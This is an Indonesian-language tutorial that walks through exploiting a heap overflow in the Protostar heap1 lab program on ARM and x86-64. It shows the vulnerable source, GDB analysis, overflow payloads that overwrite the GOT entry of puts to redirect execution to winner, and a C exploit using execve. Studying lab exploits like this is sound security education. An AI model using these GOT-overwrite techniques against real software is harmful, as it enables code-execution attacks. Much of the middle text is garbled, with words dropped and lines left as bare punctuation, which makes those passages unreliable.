Tutorial ini untuk pemula, tetapi mengasumsikan bahwa pembaca sudah terbiasa dengan dasar-dasar fungsi malloc glibc. Mari kita lihat lebih dekat cara mengeksploitasi heap overflows di Linux menggunakan contoh Raspberry PI / ARM1176 32-bit . Kami juga akan menganalisis beberapa nuansa operasi dalam sistem x86-x64 . Untuk ini kami akan menggunakan alat GDB + GEF .
Mari langsung ke kode rentan yang saya pinjam dari tugas lab Protostar , yaitu tugas ini .
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
Secara singkat tentang kode.
Struktur dibuat
i1, i2, i3
.
Ketika program dimulai, dua argumen dilewatkan, yang disalin ke alamat pointer
i1->name
dan,i2->name
masing-masing.
Dan pada akhirnya, pesan "dan itu bungkus orang-orang!" ...
Sebuah tugas
Panggil fungsi winner
.
Keputusan
Pertama, mari kita kompilasi kode:
gcc -o heap1 heap1.c
Untuk memanggil suatu fungsi
winner
, Anda perlu mengambil alamatnya dan menuliskannya ke penunjuk, yang berisi alamat fungsi tersebutprintf
.
Untuk melakukan ini, Anda perlu meluap penunjuk
i1->name
dan menimpa alamat dengani2->name
alamat fungsiwinner
.
,
i1->name
i2->name.
, .
.
1
. GDB
gdb -q heap1
disas main
b *0x000105
r AAAA BBBB
:
info proc map
x/120x 0x22000
(chunk). .
2
.
heap chunks
0x22160
,
heap chunk 0x22160
16
12
4
32 . 12 20 , . ( 64 32 + 24 + 8 = 64 , 40 )
24 (20 4 ):
./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
Segmentation fault. , .
gdb ./heap1 disas main
strcopy
, 0x000105e8
b *0x105e8
r $(python3 -c 'print("A"*24+" "+"BBBB")')
, :
winner
, , printf
( puts
).
x/i 0x103a0
puts
GOT. GEF got
. GOT .
got
, , 0x21018
. winner
.
winner
.
p winner
0x10504
.
. i2->name
:
r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, 0x21018
0x10504 <winner>
, . nexti
, 0x21018
:
0x10504 <winner>
. :
./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
, bash , , - (ignored null byte in input), , , winner
. .
Linux x86-x64. GDB 10.1.90 ARM1176, Raspberry GDB 8.2.1. , puts
, .plt
disas main
:
x/i 0x555555555040
. , .
winner
p winner
puts 0x555555558020
, x20, , , , bash . . , "$(...)"
, :
./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
. , , 8 -, ..
\x20\x80\x55\x55\x55\x55\x00\x00
\x75\x51\x55\x55\x55\x55\x00\x00
Tetapi di sini, juga, masalah muncul, karena shell perintah memperlakukan byte null sebagai akhir baris dan exploit tidak akan berfungsi, karena alamat diterima salah.
Untuk mengatasi masalah ini, Anda dapat menggunakan fungsi execve dari bahasa C.
Kami menulis eksploitasi:
#include <stdio.h>
#include <unistd.h>
int main(void)
{
char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
if (execve("./heap1", argv, NULL) == -1)
perror("Could not execve");
return 1;
}
Saya pikir semuanya jelas dalam kode.
Kompilasi dan jalankan
gcc ./exploit.c -o exploit gdb -q ./exploit
Sekarang eksploit berfungsi sebagaimana mestinya:
Itu saja. Terima kasih atas perhatiannya.